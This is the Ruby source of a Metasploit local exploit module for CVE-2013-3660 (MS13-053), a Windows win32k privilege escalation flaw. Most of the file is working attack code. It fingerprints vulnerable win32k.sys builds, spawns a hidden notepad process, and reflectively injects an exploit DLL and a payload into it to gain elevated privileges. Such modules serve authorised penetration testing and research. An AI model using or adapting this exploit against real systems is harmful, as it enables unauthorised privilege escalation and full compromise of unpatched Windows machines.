metasploit-framework/modules/exploits/windows/local/ppr_flatten_rec.rb

171 lines
6.1 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'rex'
class MetasploitModule < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info={})
super(update_info(info, {
'Name' => 'Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability on EPATHOBJ::pprFlattenRec due to the usage
of uninitialized data which allows to corrupt memory. At the moment, the module has
been tested successfully on Windows XP SP3, Windows 2003 SP1, and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy <taviso[at]cmpxchg8b.com>', # Vulnerability discovery and Original Exploit
'progmboy <programmeboy[at]gmail.com>', # Original Exploit
'Keebie4e', # Metasploit integration
'egypt', # Metasploit integration
'sinn3r', # Metasploit integration
'Ben Campbell', # Metasploit integration
'juan vazquez', # Metasploit integration
'OJ Reeves' # Metasploit integration
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Automatic', { } ]
],
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
[ 'CVE', '2013-3660' ],
[ 'EDB', '25912' ],
[ 'OSVDB', '93539' ],
[ 'MSB', 'MS13-053' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2013/May/91' ],
],
'DisclosureDate' => 'May 15 2013',
'DefaultTarget' => 0,
# TODO: Uncomment this line and remove the Rex.sleep when WsfDelay works properly.
# Wait for up to 30 seconds by default for our shell because this exploit can
# take quite a while to finish execute
#'DefaultOptions' => { 'WfsDelay' => 30 }
}))
# TODO: remove this when we've sorted out the WsfDelay issue.
register_options([
OptInt.new('WAIT', [ true, "Number of seconds to wait for exploit to run", 10 ])
], self.class)
end
def check
os = sysinfo["OS"]
if os =~ /windows/i
file_path = session.sys.config.getenv('windir') << "\\system32\\win32k.sys"
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision}")
# WinXP x86 - 5.1.2600.6404
# WinXP/2003 5.2.3790.5174
# WinVista/2k8 - 6.0.6002.18861 / 6.0.6002.23132
# Win72k8R2 - 6.1.7601.18176 / 6.1.7601.22348
# Win8/2012 - 6.2.9200.16627 / 6.2.9200.20732
case build
when 2600
return Exploit::CheckCode::Appears if revision < 6404
when 3790
return Exploit::CheckCode::Appears if revision < 5174
when 6000
return Exploit::CheckCode::Appears
when 6001
return Exploit::CheckCode::Appears
when 6002
if branch == 18
return Exploit::CheckCode::Appears if revision < 18861
else
return Exploit::CheckCode::Appears if revision < 23132
end
when 7600
return Exploit::CheckCode::Appears
when 7601
if branch == 18
return Exploit::CheckCode::Appears if revision < 18176
else
return Exploit::CheckCode::Appears if revision < 22348
end
when 9200
if branch == 16
return Exploit::CheckCode::Appears if revision < 16627
else
return Exploit::CheckCode::Appears if revision < 20732
end
end
end
return Exploit::CheckCode::Safe
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, "Exploit not available on this system.")
end
if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
elsif sysinfo["Architecture"] =~ /x64/
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
end
print_status("Launching notepad to host the exploit...")
process = client.sys.process.execute("notepad.exe", nil, {'Hidden' => true})
host_process = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
library_path = ::File.join(Msf::Config.data_directory, "exploits",
"cve-2013-3660", "ppr_flatten_rec.x86.dll")
library_path = ::File.expand_path(library_path)
print_status("Injecting exploit into #{process.pid} ...")
exploit_mem, offset = inject_dll_into_process(host_process, library_path)
print_status("Exploit injected. Injecting payload into #{process.pid}...")
payload_mem = inject_into_process(host_process, payload.encoded)
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status("Payload injected. Executing exploit...")
host_process.thread.create(exploit_mem + offset, payload_mem)
# TODO: remove this Rex.sleep call when the WsfDelay stuff works correctly for local
# exploits. For some reason it doesn't appear to work properly.
wait = datastore['WAIT'].to_i
print_status("Exploit thread executing (can take a while to run), waiting #{wait} sec ...")
Rex.sleep(wait)
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
end
end